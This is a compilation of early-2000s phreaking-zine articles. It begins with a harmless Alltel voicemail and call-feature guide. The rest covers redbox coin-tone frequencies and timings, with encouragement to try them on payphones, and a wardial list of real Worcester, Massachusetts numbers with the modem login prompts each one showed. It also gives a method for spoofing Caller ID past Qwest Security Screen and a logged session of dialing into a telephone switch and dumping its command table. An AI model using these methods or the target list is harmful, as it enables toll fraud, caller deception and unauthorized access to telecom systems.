(Remember the passcode must be at lease 4 digits long.
and complete all three steps to fully setup your
mailbox and will be able to retrieve messages)
To retrieve messages from a wireless fone...
1. Press *9 Snd (send)
2. enter passcode
To retrieve messages from a landline fone..
1. dial your wireless number
2. Press # to interrupt the greeting
3. enter passcode
4. follow voice promits
Remember you are not being billed fro messages in your
mailbox. Your only billed airtime when you retrieve your
messages.
To retrieve messages from outside Alltel's coverage area...
1. dial area code plus your wireless number
2. press the # key to interrupt greeting
3. enter passcode
While listen to voicemail Press....
1. Rewind 10 seconds
2. pause
3. fast forward 10 seconds
4. slower playblack
8. Normal Playback
#. Skip to the next message
After Listen to message.......
4. replay
6. send a copy
7. erase
8. replay
9. save
*. cancel
Call waiting ------ to active
(it's always working unless it's been deactivated)
When you're on one fone call and someone else calls you,
you'll hear a beep.
If you'd like to take the second call, press Snd (send)
caller one goes on hold while you speek to caller 2.
Whenever you'd like to return to the 1st caller either
wait for the other caller to hang up or press snd (send)
You'll be charged per minunite airtime for the lenght of
both calls.
3 way calling ----- how to use
With 3 way calling you can have a third party to your
initial call.
Place your 1st call as usual.
Dial the second number then push snd (send) The 1st caller
will hear tones while you are dialig. You'll need to press
snd (send) agian to connect all three parties.
When either party hangs up, you are still connected to the
other party.
You will be charged per-minute airtime for both calls.
Immediate Call Forwarding
When your unable to answer your wireless fone, Call
forwarding automatically forwards incoming calls to
any local or long distance number.
(wireless or landline)
To activate
Enter *72 plus the number you wish to forward to.
Press Snd (send)
Listen for confirmation
Press end
Please take a moment to test that the calls have been
forwarded properly. Until you deactivate, all calls will
ring at the number number you imputed after the *72. You
still call place outgoing from your wireless fone.
To deactivate
Enter *73 and press Snd (send)
Listen For confimation
Press end
Calls will now ring your wireless fone agian.
Conditional Call Forwarding
No answer transfer acts just like call forwarding but in this
case you have the option of answering the call or allowing
your fone to forward the call to another number afrer three
rings.
To activate
Enter *71 plus the number to witch you wish to forward.
Press snd (send)
Listen for confirmation
Press end
You will be charged per-minute airtime for all calls
forwarded.
To deactivate
Enter *73 and press snd (send)
Listen for conformation
Press end
Please take a moment to test that the calls have been
forwarded properly.
Directory Assistance
For assistance within your area code.
Enter 411
Press snd (send)
For assistance outside your area code
enter 1+ area code + 555-1212
Press Snd (send)
Remember you are billed a urcharge for all directory
assistance calls.
Caller Id blocking
For when you prefer your wireless number kept private.
To activate on a call by call basis
*67 plus Destination fone number
Follow me-roaming (fmr)
(North America Roamer Service)
To activate
Press *18 snd (send) wait for tone within 30 minunites,
Fmr service is automatically activated.
To deactivate
Press *19 snd (send) while in Fmr city or before entering
your 'home' service area.
(you must reactivate service each day you are roaming)
Press *730 snd (send) if you return to your home coverage area
before midnight and you have not already deactivated Fmr. You
must reactivate call forwarding and mobile secreary if
previously activated.
Use Fmr when automactic call delivery is not available. Fmr
automatically deactivates everynight at midnight.
*****************************************
* The End of Redboxing *
* by Lucky225 email lucky225@2600.com*
*****************************************
In the beginning, Ma bell created the operator center and the payphone. The
first payphones were the old 3-slot ones. When you placed a long distance call
from these phone an operator would ask for whatever the rate was for the call
and when you deposited the coins you would hear bells or gongs, 1 bell for a
nickel, 2 for a dime, and a gong for a quarter. This was an ineffective way
of verifying how many coins we're being deposited and one could easily deposit
coins on a payphone next to him or ring a little bell, the earliest form of
redboxing. When ma bell introduced the one slot payphone it used a single
frequency for identifying coins that were deposited, 2200hz. 1 66ms beep was a
nickel, 2 66ms beeps(66ms off) was a dime, and 5 33ms beeps(33ms off) was a
quarter. This was a good idea, but because it only used a single frequency, a
system like ACTS could not be widespread as talk-off problems would register
human voice and sound as valid coin deposits. In the late 1970s ACTS was
introduced requiring new payphones that used DTMF coin deposit signaling, with
the famous DTMF(DUAL-TONE MULTI FREQUENCY) 2200+1700hz deposit tone(same
timing as the Single frequency 2200hz). ACTS was supposed to be the latest
and greatest thing back then requiring less operators for payphone customers
and Automating payphone long distance calls. But it was a major step
backwards for AT&T. By the early 80s phone phreaks with blueboxes no longer
working found another way to call long distance by fooling the phone company
with tones.
It's amazing that a service so susceptible to fraud has survived this long,
but it is now coming to an end. On May 21, 2001 AT&T filed an application(NSD
File No. W-P-D-497) with the FCC to discontinue interstate sent-paid coin
service(ACTS). On October 15, 2001 by public notice(DA-01-2375) the FCC
granted AT&T's request. The application reports that it's earnings from the
service are small and rapidly declining, and that only a small amount of calls
are placed fom phones where the service is provided, furthermore that it costs
millions of dollars to provide the service each year, an amount far greater
than the revenues generated. Also, the rates are rediculous compared to what
one would pay if he or she was using a calling card or other form of payment,
a minimum of $4.65 of interstate long distance calls, a $1.95 coin surcharge
fee + $2.70 for each 3 minutes. The $1.95 is a one-time fee, however the
$2.70 is the minimum you will be paying for each additional 3 minutes, that's
90 cents/min, rates that were probably driven up from redbox fraud.
When you place a long distance call from ACTS payphones you will now get the
following recording: .Your call will now be completed. Please note, effective
soon, this phone will no longer accept coins for AT&T long distance calls.
You may wish to begin using a prepaid calling card or other payment methods as
a substitute.. You can hear this recording at
http://amatus.austin2600.org/~lucky225/redboxatt.wav
Once AT&T discontinues the service, that will be the end of redboxing. AT&T
is the only carrier that offers sent-paid coin service. If you try to use any
101XXX Carrier, for example MCI's 10-10-222+1+NUMBER, you will still be routed
to AT&T's automated system. I contacted Carmell Weathers of the FCC about
this to try to find out if any other carriers had offered to continue
providing sent-paid coin service, and here's what he had to say:
Date: Mon, 22 Apr 2002 17:40:08 -0400
From: Carmell Weathers <CWEATHER@fcc.gov>
To: lucky225@2600.COM
Subject: Re: AT&T Coin Sent Paid Service Discontinuation
Lucky225,
so far, the FCC "has not" granted AT&T's request to discontinue service.
Privileged & Confidential
--- end of email ---
I'm not sure what he meant by this as they have already granted AT&T's
request by public notice, perhaps it's still in transition and AT&T is going
to be forced to continue providing the service, doubtful though. Redboxing
will soon become history though, even with AT&T's discontinuation the local
phone company does provide ACTS for intraLATA calls, but I'm sure the
payphones will start being replaced with Nortel Milleniums and COCOTS in the
near future so keep your eye out and if you haven't done any experimenting
with ACTS payphones, now's probably you're last chance. Note however that
Canada still uses single frequency 2200hz payphone, but those are slowly being
phased out too.
*****************************************
* The 752 Wardial Project *
* by NO CARRIER email dtmf@email.com *
*****************************************
Preface
-------
This file is the results of a modem wardial of the entire 752 exchange in
the 508 area code. The 752 exchange is located in Worcester Massachusetts,
and is a very old exchange. The wardial began on December 9, 2002, and
was completed on December 13, 2002.
Keys & Notes
------------
HNG - Modem picked up, connected, then disconnected.
NO ANSWER - The number was noted as a carrier, but rang out when called.
If there is nothing under the 'Notes & Information' collum, then the
system did not respond to any keys. If anyone happens to dial up one
of the systems that don't respond, and find something interesting on
one of them, drop an email to dtmf@email.com, and let me know what
you've found.
I'm also planning on releasing a seperate file with non modem phone
numbers that were found and noted during this carrier scan. So look
for that sometime in the near future.
Carrier Results
---------------
+1 508-752-XXXX
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Number Baud/bps Notes & Information
---------------------------------------------------------------------
752-0055 31200
752-0059 28800 HNG
752-0137 31200 login:
752-0276 31200
752-0446 2400
752-0484 1200 HNG
752-0516 28800 AAAAAAA
752-0522 14400 OpenVMS Alpha Operating System V7.2-1
752-0724 31200
752-0728 14400
752-1026 2400 (Garbled) -> Displays date and temp.
752-1069 14400 OpenVMS Alpha Operating System V7.2-1
752-1135 9600 ENTER PASSWORD
752-1138 2400
752-1160 14400
752-1261 31200 Enter login name:
752-1262 31200 siteman!login:
752-1347 33600 Garbage. (Windows dial-up server ?)
752-1383 19200 Garbage -> +++ (Escape Sequence)
752-1406 14400 Login: -> (VT100)
752-1427 9600
752-1627 31200 Data Switch Series - F.4.00
752-1713 33600
752-1765 2400
752-1782 31200 **B000000023be50
752-1883 14400 User Access Verification - Username:
752-1936 26400 **B000000023be50
752-2436 2400
752-2895 2400 PQNode Control Program On-Line version A3.6
752-2896 33600 ROLM CBX MODEL 10 -> (7,E,1)
752-2918 300 COCOT (?)
752-2951 28800 ?~?~?~?~?~
752-3205 2400 SALISB login: -> (7,E,1)
752-3368 26400
752-3543 14400 CCITRIAD PRISM
752-3617 1200
752-3959 2400 ?~?~?~?~?~
752-4202 1200 HNG
752-4264 14400
752-4333 24000
752-4505 1200 Garbage.
752-4507 14400 User Access Verification - Password:
752-5045 28800
752-5143 2400 SALISB login: (Scrolls) -> (7,E,1)
752-5194 2400 ENTER ID:
752-5468 14400 login:
752-5508 9600 Building Name : WORCESTER MARKET
752-5724 9600 SCO OpenServer(TM) Release 5
752-5852 2400 Welcome to VAX/VMS V5.5
752-5946 9600 Enter Password: -> (7,E,1)
752-5965 2400 Garbage.
752-6041 9600 Enter Password:
752-6349 14400
752-6439 33600
752-6529 33600 USRobotics Courier V.Everything Dial Security Session
752-6581 33600
752-6658 9600 Tyco Electronics Network
752-6760 26400
752-7177 14400
752-7256 2400 C2000 Login - 2WORCESTER-I97A -> (VT100)
752-7308 NO ANSWER
752-7530 1200 Displays stats. -> (7,E,1)
752-7645 1200
752-7822 1200
752-7843 31200
752-7845 31200 User Access Verification - Username:
752-7852 28800 USL UNIX System V Release 4.2 Version 1
752-7890 14400 Login:
752-7999 14400
752-8232 NO ANSWER
752-8309 1200
752-8352 31200 Garbage.
752-8643 2400
752-8791 33600 Enter password:
752-8830 28800
752-8988 9600
752-9035 14400
752-9167 28800 User ID >
752-9180 9600 SCO OpenServer(TM) Release 5
752-9191 31200 neescom-jci> -> [Type '?' at the prompt]
752-9353 1200 HNG
752-9395 33600 Garbage.
752-9407 33600
752-9446 1200 HNG
752-9553 33600 Enter login name:
752-9726 1200 HNG
752-9732 14400 SCO OpenServer(TM) Release 5 (From Compaq)
752-9759 1200
752-9951 14400 NNN
752-9999 14400 NNN
********************************************
*Caller ID Spoofing w/Qwest Security Screen*
* by dual_parallel and Rax *
********************************************
Security Screen is a service from Qwest that goes beyond Anonymous
Call Rejection (ACR) by keeping unidentified callers from even
ringing a subscriber's phone. Security Screen costs $2.95 per
month and also requires subscription to Qwest's Caller ID (CID)
service.
As mentioned on the Qwest Security Screen home page
(http://www.qwest.com/pcat/for_home/product/1,1354,702_1_8,00.html),
when Security Screen is encountered, a caller can enter any number
if the caller is originally unidentified - like a telemarketer
calling from a PBX. Regarding regular subscriber calls, most
Security Screen users couple Security Screen with ACR, so *67 calls
will be stopped if there is an attempt to spoof Caller ID.
Some simple ways around this are to op divert or use a calling card
and then spoof the Caller ID. The called party's CID box will show
"Security Screen" for the name and the spoofed number.
See Figure 1: CID Spoof with Qwest Security Screen at:
http://www.oldskoolphreak.com/p_gallery/cidspoof.html
So, the called party's phone will ring, and the receipient will
believe that the caller has encountered Security Screen and
honestly identified themselves. Qwest is performing a disservice
by charging for this feature called "Security" Screen.
References
----------
Caller ID Basics
http://www.testmark.com/develop/tml_callerid_cnt.html
Caller ID Spoofing
http://www.verizonfears.com/h2k2
Custom Choice Reference Guide
http://www.oldskoolphreak.com/p_gallery/custom_c.html
Qwest Calling Features & Services
http://www.qwest.com/pcat/productList?market_type=for_home&category=VoiceFeatures&listRegion=regionIn
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* Phreaking Your Local EWSD *
* by ls-la on: 2/17/2003 *
*****************************************
First, a note from Woz:
=======================
In an email from someone to Woz:
...I was wanting to know if you think phreaking is dead...Woz:
Phreaking is largely a desire for shy technical-only types to have a type of social interaction that is denied
to them because of their strangeness. It's like psychological compensation. Social energies have to come out,
even if it's not in phony conversations with all the other people, but rather in mildly anti-social ways.
Phreaking is just a phrase for technically based pranks, for the most part. It's always been here and always will be.
One thing that I found is that youngsters like to learn 'how' to phreak but almost all will obey limits that are agreed
upon as part of their instruction. You can be smart and not be destructive. I like to laugh, even if somebody is being
tricked. But you shouldn't do things for the money, or that cause irreversible destruction.
=======================
I certainly can't disagree with that, but I surely do not wholly agree to it.
"We're sorry. You have reached a number that is disconnected or no longer in service.
If you feel you have reached this recording in error, please hang up, and dial your operator."
I live in a small place, so when I hand scan the NPA-NXX-99xx domain, I reach the above
recording most of the time. If you are in a larger area, you'll have way more NXX's to worry
about; however, you will surely find some modem carriers SOMEWHERE. Just eliminate your
voice #'s from some reverse directory search like an online phonebook
(http://www.qwestdex.com)
or if you're in a small town, your phonebook might have a reverse directory.
(References are at the end of the file.)
Enough with the intro, come with me as I show you the internals of my local EWSD V12:
atdt9,xxx99xx
NO CARRIER (Don't give up! Keep trying, especially if the carrier sounds like it warbles)
atdt9,xxx99xx
CONNECT 19200/ARQ/V34/LAPM/V42BIS
PLEASE ENTER USERID FOR XXXXX
< INVALID USERID
PLEASE ENTER USERID FOR XXXXX
<xxxxx
PLEASE ENTER CURRENT PASSWORD
(AND OPTIONALLY A NEW ONE SEPARATED BY BLANK).
<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
#################################################
XXXXX/CLLI
2/USQCBR4V0012/ 03-02-14 03:22:41
M 8220 TAC6/XXXXX 2969/00000
USERID XXXXX NOT AUTHORIZED TO OPEN A SESSION. MASKNO:12062
<5i~at
OK
atdt9,xxx9922
CONNECT 16800/ARQ/V34/LAPM/V42BIS
>
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M ? NOT EXEC'D
8225 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8225
>
XXXXX 03-02-14 03:24:06 IDCI1
M ? NOT EXEC'D
8226 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8226
who
PM
XXXXX 03-02-14 03:24:33 IDCI1
M WHO? NOT EXEC'D
8229 IDCI1 2969/10991
WHO? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8229
help
PM
XXXXX 03-02-14 03:24:43 IDCI1
M HELP? NOT EXEC'D
8230 IDCI1 2969/10991
HELP? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8230
?
PM
XXXXX 03-02-14 03:24:54 IDCI1
M ? NOT EXEC'D
8232 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8232
list
PM
XXXXX 03-02-14 03:25:16 IDCI1
M LIST? NOT EXEC'D
8233 IDCI1 2969/10991
LIST? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8233
?idci1
PM
XXXXX 03-02-14 03:25:26 IDCI1
M ?IDCI1 NOT EXEC'D
8235 IDCI1 2969/10991
?IDCI1 NOT EXEC'D
MASKNO:10991
COMMAND TEXT FOUND AFTER EXECUTION CHARACTER
END JOB 8235
ish
PM
XXXXX 03-02-14 03:26:01 IDCI1
M ISH? NOT EXEC'D
8237 IDCI1 2969/10991
ISH? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8237
?
PM
XXXXX 03-02-14 03:26:14 IDCI1
M ? NOT EXEC'D
8238 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8238
?fr
PM
XXXXX 03-02-14 03:26:20 IDCI1
M ?FR NOT EXEC'D
8240 IDCI1 2969/10991
?FR NOT EXEC'D
MASKNO:10991
COMMAND TEXT FOUND AFTER EXECUTION CHARACTER
END JOB 8240
>?
XXXXX 03-02-14 03:26:46 IDCI1
M ? NOT EXEC'D
8241 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8241
q
PM
XXXXX 03-02-14 03:27:01 IDCI1
M Q? NOT EXEC'D
8243 IDCI1 2969/10991
Q? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8243
quit
PM
XXXXX 03-02-14 03:27:07 IDCI1
M QUIT? NOT EXEC'D
8244 IDCI1 2969/10991
QUIT? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 8244
dispautcl (aha! here's the commands!)
PM
M AUTCL=1
M READY TO EXECUTE <;
CE
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M DISPAUTCL:AUTCL=1; EXEC'D
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DISPAUTCL:AUTCL=1; EXEC'D
TABLE OF AUTHORIZATION CLASS:
AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
1 ACCEPCALL ACCEPCALLID ACCEPTSTCONN ACTAMAREC ACTAMATEST
ACTAMATPS ACTC7LINKAL ACTCALLTRAC ACTCCNCTRAC ACTCLAMSCHD
ACTCNPATCH ACTCPDMPC ACTCPPRPCH ACTCPTRPCH ACTCSCTRAC
ACTCXATNFEA ACTCXSCOF ACTDEST ACTDLUTRAC ACTDMPSGMSG
ACTEKTSTRAC ACTEQTRAP ACTFIXPOINT ACTFNS ACTGEN
ACTGSLTRAC ACTHWTRAC ACTIAFEAT ACTIAOPT ACTIOPPRPCH
ACTIOPTRPCH ACTIPNUC ACTISDNTRAC ACTJXTUS ACTLIOSERV
ACTLOADLIB ACTLTGBPT ACTLTGPRPCH ACTLTGTRAC ACTLTGTRPCH
ACTMDDAUDIT ACTMETRA ACTNUC ACTOSITRAC ACTOUTDIV
ACTOUTSUP ACTPATCHSEQ ACTPHPATCH ACTPICTRAC ACTPIOTRAC
ACTQUEUE ACTRENCRYPT ACTROUTE ACTRSUPRPCH ACTRSUTRC
ACTRSUTRPCH ACTSEMASTAT ACTSIGNTRAC ACTSPSERV ACTSSPCONCK
ACTSWD ACTSYSLDD ACTTESTPATH ACTTRARPT ACTTRFRPTYP
ACTTRTRAP ACTTSLFUS ACTUTLFUNC ACTUTTRAC ACTWST
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
ACTX25STC ACTX25TRAC ALLOWAUDIT ALLOWLTGFRPT ALLOWMMRPT
ALLOWSSA ALLOWSSPRT ALLOWWSTIC BARROUTE CALLIDS
CANACCESS CANACDGRP CANACPT CANAFILE CANAFRCPT
CANAFRL CANAFRPAT CANAFRTIME CANAINGRP CANAINTRIG
CANALIAS CANALPER CANALTEXT CANAMASTC CANAMASTUDY
CANAMP CANAPPL CANAPSENTAB CANAREACODE CANASYMKEY
CANATDEST CANAUT CANAUTCL CANC7CLSET CANC7DP
CANC7LINK CANC7LSET CANC7LSETDP CANC7OPC CANC7TGREL
CANC7USER CANCALLTRAC CANCAP CANCARR CANCARRDEST
CANCBPT CANCCNCTRAC CANCGRP CANCGRPDAT CANCITERA
CANCLAMSCHD CANCLASSDAT CANCLTAR CANCNPATCH CANCONFRNC
CANCOPL CANCPE CANCPPRPCH CANCPT CANCPTCOS
CANCPTGRP CANCPTRPCH CANCPVDNDAT CANCQGRP CANCSANI
CANCSAUTC CANCSC CANCSCGRP CANCSDCAN CANCSPBSPDL
CANCSPRJCL CANCSPROF CANCSPT CANCSPVSPDL CANCSSCRLST
CANCSTMGRP CANCTYPFEA CANCTYPLST CANCXACCOS CANCXAUTC
CANCXCPT CANCXDN CANCXGFEA CANCXGRP CANCXHCOS
CANCXINC CANCXLFEA CANCXMLHG CANCXMLHGL CANCXOFQ
CANCXSCHED CANCXSCOF CANCXSFEA CANCXSUB CANCXTGBIND
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
CANDEST CANDESTDAT CANDESTSCHD CANDIRCALL CANDLU
CANDLUMOD CANDLUTRAC CANDN CANDNDEST CANDVGRP
CANEAL CANEKTSTRAC CANEQTRAP CANESP CANFGRP
CANFGRPPW CANFILETRF CANFKDESC CANFKMP CANFNS
CANFUOMT CANGEN CANGSLTRAC CANHCARRDAT CANHOLIDAY
CANIAFEAT CANIAOPT CANIDT CANINC CANINODPCPT
CANIOC CANIOP CANIOPPRPCH CANIOPTRPCH CANIPNUC
CANISDNTRAC CANJOB CANKEY CANLCCRAX CANLMBLK
CANLOCKRST CANLOGEVENT CANLOGLINK CANLOGOBJ CANLTG
CANLTGBPT CANLTGPRPCH CANLTGTRAC CANLTGTRPCH CANLTU
CANMALAD CANMGIF CANMGLINK CANMLHG CANMLHGL
CANMOD CANMSGRP CANMTD CANMUX CANNEATSADR
CANNMCNTL CANNUC CANOBSCALL CANOMT CANORIGPT
CANOSIADR CANPATCHSEQ CANPATCOS CANPHCSN CANPHCUG
CANPHDEST CANPHLINE CANPHLN CANPHPATCH CANPOSPT
CANPRNAME CANPRO CANPTP CANPTPSCHED CANQASSIGN
CANQUEUE CANRCU CANROUTE CANROUTESW CANROUTETHR
CANRSU CANRSUDAT CANRSUDEST CANRSULINK CANRSULTGCN
CANRSUPRPCH CANRSUTRC CANRSUTRPCH CANSCCPSS CANSCRSCHD
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
CANSESSION CANSFG CANSLSS CANSLSSMBR CANSPENTRY
CANSUB CANTARSCHED CANTEPT CANTEQ CANTEQDAT
CANTGDAT CANTGRP CANTGRPPAT CANTGTSTDAT CANTMBLK
CANTOLLCAT CANTRABLOCK CANTRACELST CANTRAINC CANTRARPT
CANTRDAT CANTRLGRP CANTRTRAP CANTRUNK CANTSLFUS
CANTSP CANUSERID CANUTTRAC CANWST CANWSTGRP
CANWSTPRT CANX25DTE CANX25LINK CANX25PVC CANX25ROUTE
CANZOPT CATFILE CHANGETSTOBJ CHANGETSTPRT COMAMP
COMBAP COMCMC COMCXATNFEA COMPFILE COMSYSTEM
CONFAMP CONFBAP CONFBCMY CONFC7DP CONFC7LINK
CONFCAP CONFCCG CONFCCNC CONFCITERA CONFCMY
CONFCOU CONFCR CONFCSC CONFDIU CONFDLU
CONFDLUEQ CONFDLUMOD CONFDLUPORT CONFIDT CONFIOC
CONFIOP CONFIOPG CONFJXTUS CONFLAU CONFLTGCTL
CONFLTGPER CONFMB CONFMBUL CONFMBUS CONFMDD
CONFMOD CONFMTD CONFOMT CONFPH CONFPORT
CONFRSUEQ CONFSLCLINK CONFSN CONFSSG CONFSU
CONFSYP CONFTSG CONFTU CONFX25LINK CONNATE
CONNTSTACC CONTJOB CONTMDDACT COPYFWLOAD COPYGEN
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M CONTINUATION TEXT 0004
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
COPYLOGFILE CORRSEASON CORRTIME CRACCESS CRACDGRP
CRACPT CRAFILE CRAFRCPT CRAFRPAT CRAINGRP
CRAINTRIG CRAMP CRAPPL CRAPSENTAB CRC7CLSET
CRC7DP CRC7LINK CRC7LSET CRC7OPC CRC7USER
CRCANCUT CRCAP CRCARR CRCBPT CRCGRP
CRCITERA CRCONFRNC CRCOPL CRCPE CRCPT
CRCPTGRP CRCQGRP CRCSANI CRCSAUTC CRCSC
CRCSCGRP CRCSDCAN CRCSPRJCL CRCSPROF CRCSPT
CRCSPVSPDL CRCSSCRLST CRCSTMGRP CRCTYPLST CRCXAUTC
CRCXCPT CRCXDN CRCXGRP CRCXINC CRDEST
CRDLU CRDLUMOD CRDN CRDNDEST CRDVGRP
CREAL CREALLVL CRENTCUT CRFGRP CRFILE
CRFKMP CRFUOMT CRIDT CRINC CRIOC
CRIOP CRIPNUC CRJXTUS CRLCCRAX CRLOGLINK
CRLTG CRLTU CRMGIF CRMGLINK CRMLHG
CRMLHGL CRMOD CRMSGRP CRMTD CRMUX
CRNEATSADR CRNUC CROMT CRORIGPT CROSIADR
CRPHCSN CRPHDEST CRPHLINE CRPOSPT CRPRO
CRQUEUE CRRCU CRROUTE CRRSU CRRSUDEST
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
CRRSULINK CRRSULTGCN CRSCCPSS CRSFG CRSUB
CRTEPT CRTEQ CRTGRP CRTRLGRP CRTRUNK
CRTSP CRUSERID CRWST CRWSTGRP CRWSTPRT
CRX25DTE CRX25LINK CRX25PVC CRX25ROUTE CRZOPT
CUTSSPRT DACTAMAREC DACTAMATEST DACTAMATPS DACTC7LINKAL
DACTCLAMSCHD DACTCNPATCH DACTCPDMPC DACTCPPRPCH DACTCPTRPCH
DACTCSCTRAC DACTCXATNFEA DACTCXSCOF DACTDEST DACTDMPSGMSG
DACTFIXPOINT DACTFNS DACTHWTRAC DACTIOPPRPCH DACTIOPTRPCH
DACTIPNUC DACTJXTUS DACTLOADLIB DACTLTGPRPCH DACTLTGTRPCH
DACTMDDAUDIT DACTNUC DACTOUTSUP DACTPATCHSEQ DACTPHPATCH
DACTPICTRAC DACTPIOTRAC DACTQUEUE DACTRSUPRPCH DACTRSUTRC
DACTRSUTRPCH DACTSEMASTAT DACTSPSERV DACTSYSLDD DACTTRARPT
DACTTRFRPTYP DACTTSLFUS DACTUTTRAC DACTWST DACTX25STC
DACTX25TRAC DECOUTDIV DELFILE DELLTGBPT DELTSTSCHED
DIAGACALGOR DIAGAMP DIAGBAP DIAGBCMY DIAGCAP
DIAGCCNC DIAGCMY DIAGCOU DIAGCR DIAGDCR
DIAGDES DIAGDIU DIAGDLU DIAGDLUEQ DIAGDLUMOD
DIAGIOC DIAGIOP DIAGIOPG DIAGLAU DIAGLTG
DIAGMB DIAGMBUL DIAGMBUS DIAGMDD DIAGMOD
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AUTHOR. COMMAND CODE
CLASS
-------+-------------------------------------------------------------
DIAGMTD DIAGOMT DIAGRSUEQ DIAGSN DIAGSSG
DIAGSU DIAGTRUNK DIAGTSG DIAGTU DISCONNATE
DISCONTSTACC DISPA4TPVAL DISPABNLOG DISPACCESS DISPACDGRP
DISPACPT DISPAENTRY DISPAFILE DISPAFRCPT DISPAFRL
DISPAFRPAT DISPAFRTIME DISPAINGRP DISPAINTRIG DISPALARM
DISPALIAS DISPALMODE DISPALPER DISPALPRIO DISPALTEXT
DISPAMAMDT DISPAMAOFFID DISPAMAREC DISPAMASCHED DISPAMASTC
DISPAMASTRL DISPAMASTUDY DISPAMATEST DISPAMATPS DISPAMATRPT
DISPAMP DISPAPPL DISPAPSCTRL DISPAREACODE DISPAUDIT
DISPAUT DISPAUTCL DISPBAFAULT DISPC7ALCOND DISPC7CLSET
DISPC7DACTAL DISPC7DP DISPC7LINK DISPC7LSET DISPC7NOTI
DISPC7OPC DISPC7RSET DISPC7TGREL DISPC7THR DISPC7USER
DISPCALLDAT DISPCALLTRAC DISPCAP DISPCARR DISPCBPT
DISPCBPULS DISPCCG DISPCCGPAR DISPCCNCTRAC DISPCFTJOB
DISPCGRP DISPCITERA DISPCLAMSCHD DISPCLASSDAT DISPCLTAR
DISPCNMEM DISPCNPATCH DISPCONFRNC DISPCONN DISPCOPL
DISPCPDMPC DISPCPE DISPCPPRPCH DISPCPT DISPCPTGRP
DISPCPTRPCH DISPCQGRP DISPCSANI DISPCSAUTC DISPCSC
DISPCSCGRP DISPCSCTRAC DISPCSDCAN DISPCSINFD DISPCSNPA
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
DISPCSPBSPDL DISPCSPRJCL DISPCSPROF DISPCSPT DISPCSPVSPDL
DISPCSSCRLST DISPCSTMGRP DISPCTRLTIME DISPCTYPLST DISPCXATNFEA
DISPCXAUTC DISPCXCPT DISPCXDN DISPCXGRP DISPCXINC
DISPCXMDR DISPCXMLHG DISPCXMLHGL DISPCXOFQ DISPCXSCHED
DISPCXSCOF DISPCXSUB DISPCXTGBIND DISPDBSIZE DISPDBTHR
DISPDEST DISPDESTSCHD DISPDEVAUT DISPDIAGSTAT DISPDIRCALL
DISPDISK DISPDLU DISPDLUMOD DISPDLUPD DISPDLUPORT
DISPDLUTRAC DISPDMPSGMSG DISPDN DISPDNDEST DISPDVGRPLNK
DISPEAL DISPEALLVL DISPEKTSTRAC DISPESP DISPEXCHDATA
DISPEXCHFE DISPEXDDAT DISPFGRP DISPFGRPATT DISPFILE
DISPFILETEXT DISPFILETRF DISPFIXPOINT DISPFKDESC DISPFKMP
DISPFNS DISPFUOMTLNK DISPFWLOAD DISPGEN DISPGSLTRAC
DISPHMSTAT DISPHOLIDAY DISPHWTRAC DISPIAFEAT DISPIAOPT
DISPIDT DISPINC DISPINDIC DISPINODPCPT DISPIOC
DISPIOP DISPIOPPRPCH DISPIOPTRPCH DISPIPNUC DISPISDNTRAC
DISPISWTHR DISPJOB DISPJOSITDAT DISPJXTUS DISPKEY
DISPLCCRAX DISPLINETHR DISPLIOPT DISPLISTTOAN DISPLNLCKOUT
DISPLOCDIAL DISPLOCDIG DISPLOCKRST DISPLOGATT DISPLOGEVENT
DISPLOGLINK DISPLOGOBJ DISPLTG DISPLTGBPT DISPLTGPRPCH
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AUTHOR. COMMAND CODE
CLASS
-------+----------------------------------------------------------------
DISPLTGRESRC DISPLTGTRAC DISPLTGTRPCH DISPLTGUSAGE DISPLTU
DISPMAL DISPMALAD DISPMALCON DISPMD DISPMDDAUDIT
DISPMGIF DISPMGLINK DISPMLHG DISPMLHGL DISPMMRPT
DISPMMSCHED DISPMO DISPMOD DISPMSGLNK DISPMSGRPLNK
DISPMT DISPMTAERR DISPMTD DISPMUX DISPNBOOK
DISPNEATSADR DISPNMCNTL DISPNSPMPTHR DISPNUC DISPOBSCALL
DISPOMT DISPORIGPT DISPOSIADR DISPOSITRAC DISPOUTSUP
DISPOVLD DISPOWSCRN DISPPATCHSEQ DISPPCMAC DISPPCMUSDAT
DISPPDCCHR DISPPDCCNTL DISPPDCPERF DISPPHBC DISPPHBP
DISPPHCSN DISPPHCUG DISPPHDEST DISPPHLINE DISPPHLN
DISPPHMEM DISPPHPATCH DISPPHPROF DISPPHROUT DISPPICTRAC
DISPPIOTRAC DISPPIT DISPPMSURV DISPPORT DISPPOSPT
DISPPRIMBLSQ DISPPRNAME DISPPRO DISPPSWDAT DISPPTPSCHED
DISPQ3JOB DISPQASSIGN DISPQUEUE DISPRCU DISPRDTDAT
DISPRECESC DISPRECOVR DISPROUTE DISPROUTESW DISPROUTETHR
DISPRSU DISPRSUAPT DISPRSUDAT DISPRSUDEST DISPRSUEQ
DISPRSULINK DISPRSULPT DISPRSULTGCN DISPRSUPRPCH DISPRSUTRC
DISPRSUTRPCH DISPSCCPSS DISPSCRSCHD DISPSDNDAT DISPSECTHR
DISPSEMASTAT DISPSESSION DISPSFG DISPSLSS DISPSNBERC
